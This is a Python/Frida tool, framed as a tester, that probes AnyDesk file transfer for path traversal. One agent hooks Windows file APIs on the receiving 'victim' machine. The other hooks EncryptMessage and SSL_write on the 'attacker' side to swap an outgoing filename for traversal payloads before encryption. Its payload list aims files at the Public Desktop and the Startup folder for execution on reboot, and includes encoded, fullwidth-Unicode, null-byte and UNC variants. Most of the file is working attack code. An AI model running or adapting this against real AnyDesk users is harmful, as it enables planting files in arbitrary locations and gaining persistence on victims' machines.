"""
AnyDesk File Transfer Path Traversal Tester
Hooks the receiving side's file write operations and tests if AnyDesk
sanitizes filenames from the sender. Also hooks the sending side to
inject traversal paths into outgoing file transfer data.

PHASE 1: Run on VICTIM (receiving side) - monitors where files get written
PHASE 2: Run on ATTACKER (sending side) - injects traversal paths into protocol

Usage:
  python 03_traversal.py --phase monitor     (run on victim, then transfer a file)
  python 03_traversal.py --phase inject      (run on attacker, then transfer a file)
"""
import frida
import sys
import os
import json
import time
import argparse
from datetime import datetime

# ============================================================
# Phase 1: Monitor Agent — runs on the RECEIVING (victim) side
# Logs every file creation to see where AnyDesk writes files
# ============================================================
MONITOR_AGENT = r"""
'use strict';

const watchPaths = [];
let fileOps = [];

// Hook CreateFileW to see ALL file creations
const CreateFileW = Module.findExportByName('kernel32.dll', 'CreateFileW');
const CreateDirectoryW = Module.findExportByName('kernel32.dll', 'CreateDirectoryW');
const MoveFileW = Module.findExportByName('kernel32.dll', 'MoveFileW');
const MoveFileExW = Module.findExportByName('kernel32.dll', 'MoveFileExW');
const CopyFileW = Module.findExportByName('kernel32.dll', 'CopyFileW');

// Filter noise: only log paths that might be user files or interesting
function isInteresting(path) {
    if (!path) return false;
    const p = path.toLowerCase();
    // Skip system noise
    if (p.includes('\\device\\')) return false;
    if (p.includes('\\pipe\\')) return false;
    if (p.includes('\\windows\\system32\\')) return false;
    if (p.includes('\\windows\\syswow64\\')) return false;
    if (p.includes('\\appdata\\local\\temp\\') && p.includes('anydesk')) return true; // AnyDesk temp files are interesting
    if (p.includes('anydesk')) return true;
    // User profile paths
    if (p.includes('\\users\\')) return true;
    if (p.includes('\\desktop\\')) return true;
    if (p.includes('\\downloads\\')) return true;
    if (p.includes('\\documents\\')) return true;
    if (p.includes('\\startup\\')) return true;
    // Traversal indicators
    if (p.includes('..')) return true;
    return false;
}

function checkTraversal(path) {
    const flags = [];
    if (path.includes('..\\')) flags.push('BACKSLASH_TRAVERSAL');
    if (path.includes('../')) flags.push('FORWARDSLASH_TRAVERSAL');
    if (path.includes('..%5c')) flags.push('ENCODED_TRAVERSAL');
    if (path.includes('..%2f')) flags.push('ENCODED_TRAVERSAL');
    if (path.toLowerCase().includes('startup')) flags.push('STARTUP_FOLDER');
    if (path.toLowerCase().includes('start menu')) flags.push('START_MENU');
    return flags;
}

if (CreateFileW) {
    Interceptor.attach(CreateFileW, {
        onEnter(args) {
            const path = args[0].readUtf16String();
            if (isInteresting(path)) {
                const traversalFlags = checkTraversal(path);
                const access = args[1].toInt32();
                const disposition = args[4].toInt32();

                // GENERIC_WRITE or CREATE_ALWAYS/CREATE_NEW/OPEN_ALWAYS
                const isWrite = (access & 0x40000000) !== 0 ||
                               (access & 0x00000002) !== 0;  // FILE_WRITE_DATA
                const isCreate = disposition === 1 || disposition === 2 ||
                                disposition === 4;  // CREATE_NEW, CREATE_ALWAYS, OPEN_ALWAYS

                const op = {
                    type: 'CreateFileW',
                    path: path,
                    isWrite: isWrite,
                    isCreate: isCreate,
                    access: '0x' + (access >>> 0).toString(16),
                    disposition: disposition,
                    traversalFlags: traversalFlags,
                    timestamp: Date.now(),
                    stack: Thread.backtrace(this.context, Backtracer.ACCURATE)
                        .map(DebugSymbol.fromAddress).join('\n')
                };

                send({type: 'file_op', data: op});

                if (traversalFlags.length > 0) {
                    send({type: 'alert', msg: `TRAVERSAL DETECTED: ${path}`, flags: traversalFlags});
                }
                if (isWrite && isCreate) {
                    send({type: 'file_create', path: path, traversalFlags: traversalFlags});
                }
            }
        }
    });
}

if (MoveFileW) {
    Interceptor.attach(MoveFileW, {
        onEnter(args) {
            const src = args[0].readUtf16String();
            const dst = args[1].readUtf16String();
            send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
        }
    });
}

if (MoveFileExW) {
    Interceptor.attach(MoveFileExW, {
        onEnter(args) {
            const src = args[0].readUtf16String();
            const dst = args[1].readUtf16String();
            send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
        }
    });
}

if (CopyFileW) {
    Interceptor.attach(CopyFileW, {
        onEnter(args) {
            const src = args[0].readUtf16String();
            const dst = args[1].readUtf16String();
            send({type: 'file_copy', src: src, dst: dst, timestamp: Date.now()});
        }
    });
}

if (CreateDirectoryW) {
    Interceptor.attach(CreateDirectoryW, {
        onEnter(args) {
            const path = args[0].readUtf16String();
            if (isInteresting(path)) {
                send({type: 'dir_create', path: path, timestamp: Date.now()});
            }
        }
    });
}

send({type: 'status', msg: 'File monitor active. Transfer a file via AnyDesk now...'});
send({type: 'ready'});
""";

# ============================================================
# Phase 2: Inject Agent — runs on the SENDING (attacker) side
# Hooks TLS send to find and replace filenames with traversal paths
# ============================================================
INJECT_AGENT = r"""
'use strict';

const TRAVERSAL_PAYLOADS = %PAYLOADS%;
let currentPayloadIdx = 0;
let injectionCount = 0;

// The filename we're looking for (set by Python controller)
const TARGET_FILENAME = '%TARGET_FILENAME%';
const TARGET_FILENAME_WIDE = '%TARGET_FILENAME%'; // Will search for both UTF-8 and UTF-16

function findAndReplace(buf, searchStr, replaceStr) {
    const arr = new Uint8Array(buf);

    // Search for UTF-8 string
    const searchBytes = [];
    for (let i = 0; i < searchStr.length; i++) {
        searchBytes.push(searchStr.charCodeAt(i));
    }

    // Search for UTF-16LE string
    const searchBytesWide = [];
    for (let i = 0; i < searchStr.length; i++) {
        searchBytesWide.push(searchStr.charCodeAt(i));
        searchBytesWide.push(0);
    }

    let found = false;

    // Try UTF-8
    for (let i = 0; i <= arr.length - searchBytes.length; i++) {
        let match = true;
        for (let j = 0; j < searchBytes.length; j++) {
            if (arr[i + j] !== searchBytes[j]) { match = false; break; }
        }
        if (match) {
            send({type: 'injection', encoding: 'UTF-8', offset: i,
                  original: searchStr, replacement: replaceStr});
            // Replace with traversal payload (UTF-8)
            const replaceBytes = [];
            for (let k = 0; k < replaceStr.length; k++) {
                replaceBytes.push(replaceStr.charCodeAt(k));
            }
            // Pad with nulls if replacement is shorter
            for (let k = 0; k < searchBytes.length; k++) {
                arr[i + k] = k < replaceBytes.length ? replaceBytes[k] : 0;
            }
            found = true;
            break;
        }
    }

    // Try UTF-16LE
    if (!found) {
        for (let i = 0; i <= arr.length - searchBytesWide.length; i++) {
            let match = true;
            for (let j = 0; j < searchBytesWide.length; j++) {
                if (arr[i + j] !== searchBytesWide[j]) { match = false; break; }
            }
            if (match) {
                send({type: 'injection', encoding: 'UTF-16LE', offset: i,
                      original: searchStr, replacement: replaceStr});
                // Replace with traversal payload (UTF-16LE)
                const replaceBytesWide = [];
                for (let k = 0; k < replaceStr.length; k++) {
                    replaceBytesWide.push(replaceStr.charCodeAt(k));
                    replaceBytesWide.push(0);
                }
                for (let k = 0; k < searchBytesWide.length; k++) {
                    arr[i + k] = k < replaceBytesWide.length ? replaceBytesWide[k] : 0;
                }
                found = true;
                break;
            }
        }
    }

    return found;
}

// Hook EncryptMessage (SChannel) — modify data BEFORE encryption
const EncryptMessage = Module.findExportByName('sspicli.dll', 'EncryptMessage') ||
                       Module.findExportByName('secur32.dll', 'EncryptMessage');

if (EncryptMessage) {
    Interceptor.attach(EncryptMessage, {
        onEnter(args) {
            const pBufDesc = args[2];
            try {
                const cBuffers = pBufDesc.add(4).readU32();
                const pBuffers = pBufDesc.add(8).readPointer();

                for (let i = 0; i < cBuffers; i++) {
                    const bufPtr = pBuffers.add(i * 16);
                    const cbBuffer = bufPtr.readU32();
                    const bufType = bufPtr.add(4).readU32();
                    const pvBuffer = bufPtr.add(8).readPointer();

                    if (bufType === 1 && cbBuffer > 0 && cbBuffer < 1024 * 1024) {
                        const data = pvBuffer.readByteArray(cbBuffer);
                        const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];

                        if (findAndReplace(data, TARGET_FILENAME, payload)) {
                            pvBuffer.writeByteArray(data);
                            injectionCount++;
                            currentPayloadIdx++;
                            send({type: 'injected', count: injectionCount, payload: payload});
                        }
                    }
                }
            } catch(e) {}
        }
    });
    send({type: 'status', msg: 'Hooked EncryptMessage for injection (SChannel)'});
}

// Also try OpenSSL hooks
const mods = Process.enumerateModules();
for (const m of mods) {
    if (m.name.toLowerCase().includes('ssl') || m.name.toLowerCase().includes('crypto')) {
        try {
            const exports = m.enumerateExports();
            for (const exp of exports) {
                if (exp.name === 'SSL_write') {
                    Interceptor.attach(exp.address, {
                        onEnter(args) {
                            const buf = args[1];
                            const len = args[2].toInt32();
                            if (len > 0 && len < 1024 * 1024) {
                                const data = buf.readByteArray(len);
                                const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];
                                if (findAndReplace(data, TARGET_FILENAME, payload)) {
                                    buf.writeByteArray(data);
                                    injectionCount++;
                                    currentPayloadIdx++;
                                    send({type: 'injected', count: injectionCount, payload: payload});
                                }
                            }
                        }
                    });
                    send({type: 'status', msg: `Hooked ${exp.name} for injection (OpenSSL)`});
                }
            }
        } catch(e) {}
    }
}

send({type: 'status', msg: `Injection armed. Target filename: "${TARGET_FILENAME}"`});
send({type: 'status', msg: `${TRAVERSAL_PAYLOADS.length} traversal payloads loaded. Send a file transfer now...`});
send({type: 'ready'});
""";

# Traversal payloads to test
TRAVERSAL_PAYLOADS = [
    # Basic backslash traversal
    "..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test.txt",
    # Forward slash
    "../../../../Users/Public/Desktop/traversal_test2.txt",
    # Mixed separators
    "..\\..\\..\\..\\Users/Public/Desktop/traversal_test3.txt",
    # Startup folder (would execute on reboot)
    "..\\..\\..\\..\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.txt",
    # Double encoding
    "..%5c..%5c..%5c..%5cUsers%5cPublic%5cDesktop%5ctraversal_test4.txt",
    # Unicode fullwidth backslash (U+FF3C)
    "..\uff3c..\uff3c..\uff3c..\uff3cUsers\uff3cPublic\uff3cDesktop\uff3ctraversal_test5.txt",
    # Null byte truncation
    "..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test6.txt\x00ignored.png",
    # Long path
    "..\\..\\..\\..\\..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_deep.txt",
    # UNC path
    "\\\\localhost\\C$\\Users\\Public\\Desktop\\traversal_unc.txt",
    # Dot-dot with extra dots
    "...\\...\\...\\Users\\Public\\Desktop\\traversal_dots.txt",
]


def on_message_monitor(message, data):
    if message['type'] == 'send':
        payload = message['payload']
        msg_type = payload.get('type', '')

        if msg_type == 'status':
            print(f"  [*] {payload['msg']}")
        elif msg_type == 'ready':
            on_message_monitor.ready = True
        elif msg_type == 'file_op':
            d = payload['data']
            marker = ''
            if d['isWrite'] and d['isCreate']:
                marker = ' [WRITE+CREATE]'
            if d['traversalFlags']:
                marker += f' [!!!TRAVERSAL: {",".join(d["traversalFlags"])}!!!]'
            print(f"  [FILE] {d['type']}: {d['path']}{marker}")
            if d.get('stack'):
                # Show first 3 frames
                frames = d['stack'].split('\n')[:3]
                for f in frames:
                    print(f"         {f}")
        elif msg_type == 'file_create':
            flags = payload.get('traversalFlags', [])
            marker = f' [!!!{"·".join(flags)}!!!]' if flags else ''
            print(f"  [+FILE CREATED] {payload['path']}{marker}")
        elif msg_type == 'file_move':
            print(f"  [MOVE] {payload['src']} -> {payload['dst']}")
        elif msg_type == 'file_copy':
            print(f"  [COPY] {payload['src']} -> {payload['dst']}")
        elif msg_type == 'dir_create':
            print(f"  [MKDIR] {payload['path']}")
        elif msg_type == 'alert':
            print(f"\n  {'!'*60}")
            print(f"  [!!!] ALERT: {payload['msg']}")
            print(f"  [!!!] Flags: {payload['flags']}")
            print(f"  {'!'*60}\n")
    elif message['type'] == 'error':
        print(f"  [!] ERROR: {message['description']}")

on_message_monitor.ready = False


def on_message_inject(message, data):
    if message['type'] == 'send':
        payload = message['payload']
        msg_type = payload.get('type', '')

        if msg_type == 'status':
            print(f"  [*] {payload['msg']}")
        elif msg_type == 'ready':
            on_message_inject.ready = True
        elif msg_type == 'injection':
            print(f"  [FOUND] Filename at offset {payload['offset']} ({payload['encoding']})")
            print(f"          Original:    {payload['original']}")
            print(f"          Replacement: {payload['replacement']}")
        elif msg_type == 'injected':
            print(f"  [INJECTED #{payload['count']}] {payload['payload']}")
    elif message['type'] == 'error':
        print(f"  [!] ERROR: {message['description']}")

on_message_inject.ready = False


def find_anydesk_pid():
    import subprocess
    try:
        output = subprocess.check_output(
            ['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
            text=True, stderr=subprocess.DEVNULL
        )
        for line in output.strip().split('\n'):
            if 'AnyDesk' in line:
                parts = line.strip().strip('"').split('","')
                if len(parts) >= 2:
                    return int(parts[1].strip('"'))
    except:
        pass
    return None


def main():
    parser = argparse.ArgumentParser(description='AnyDesk File Transfer Path Traversal Tester')
    parser.add_argument('--phase', choices=['monitor', 'inject'], required=True,
                       help='monitor=watch file writes on victim, inject=modify filenames on attacker')
    parser.add_argument('--filename', default='traversal_probe.txt',
                       help='Filename to search for and replace (for inject phase)')
    args = parser.parse_args()

    print("=" * 60)
    print(f"  AnyDesk Path Traversal Tester — Phase: {args.phase.upper()}")
    print("=" * 60)

    pid = find_anydesk_pid()
    if not pid:
        print("[!] AnyDesk.exe not found.")
        sys.exit(1)

    print(f"[+] Found AnyDesk.exe (PID: {pid})")

    try:
        session = frida.attach(pid)
    except Exception as e:
        print(f"[!] Frida attach failed: {e}")
        print("[!] Run as Administrator.")
        sys.exit(1)

    if args.phase == 'monitor':
        print("[+] Monitoring file operations...")
        print("[+] Transfer a file via AnyDesk to this machine to see where it lands")

        script = session.create_script(MONITOR_AGENT, runtime='v8')
        script.on('message', on_message_monitor)
        script.load()

        for _ in range(100):
            if on_message_monitor.ready:
                break
            time.sleep(0.1)

        print(f"\n{'=' * 60}")
        print("  MONITORING — send a file to this AnyDesk instance now")
        print("  Press Ctrl+C to stop")
        print(f"{'=' * 60}\n")

    elif args.phase == 'inject':
        print(f"[+] Injection mode — target filename: '{args.filename}'")
        print(f"[+] Create a file named '{args.filename}' and transfer it via AnyDesk")

        payloads_json = json.dumps(TRAVERSAL_PAYLOADS)
        agent_code = INJECT_AGENT.replace('%PAYLOADS%', payloads_json)
        agent_code = agent_code.replace('%TARGET_FILENAME%', args.filename)

        script = session.create_script(agent_code, runtime='v8')
        script.on('message', on_message_inject)
        script.load()

        for _ in range(100):
            if on_message_inject.ready:
                break
            time.sleep(0.1)

        print(f"\n{'=' * 60}")
        print(f"  INJECTION ARMED — send '{args.filename}' via AnyDesk file transfer")
        print("  Press Ctrl+C to stop")
        print(f"{'=' * 60}\n")

    try:
        while True:
            time.sleep(0.1)
    except KeyboardInterrupt:
        print("\n[+] Stopped.")

    session.detach()

if __name__ == '__main__':
    main()
